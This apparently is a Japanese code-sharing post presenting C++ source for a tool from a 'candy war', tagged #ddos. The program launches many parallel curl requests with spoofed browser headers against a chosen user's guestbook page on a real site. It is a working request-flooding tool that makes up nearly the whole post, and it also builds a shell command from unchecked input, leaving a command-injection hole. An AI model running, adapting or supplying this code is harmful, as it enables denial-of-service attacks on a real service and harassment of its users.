飴戦争で使われたツールのソースコード開示

@taichi_fujiwara / 更新: 2026/01/02 21:43

なんかPCの中に眠ってた
対飴戦争用なんで流用禁止

TEXT 697バイト
0
  1. #define _CRT_SECURE_NO_WARNINGS
  2. #include <cstdio>
  3. #include <cstdlib>
  4. #include <omp.h>
  5. using namespace std;
  6. int main(int argc, char *argv[])
  7. {
  8. char id[64], command[512];
  9. int count = 0;
  10. omp_set_num_threads(1000);
  11. if(argc!=3){
  12. printf("ID: ");
  13. scanf("%s", id);
  14. printf("Count: ");
  15. scanf("%d", &count);
  16. }
  17. else{
  18. sscanf(argv[1],"%s", id);
  19. sscanf(argv[2],"%d", &count);
  20. printf("ID: %s\n", id);
  21. printf("Count: %d\n", count);
  22. }
  23. sprintf(command, "curl -s -A \"Mozilla/5.0 iPhone OS 9_2 Safari\" -e http://candy.am http://candy.am/%s/guestbook > nul", id);
  24. #pragma omp parallel for
  25. for (int i = 0; i <= count; i++){
  26. system(command);
  27. }
  28. return 0;
  29. }
タグ: #ddos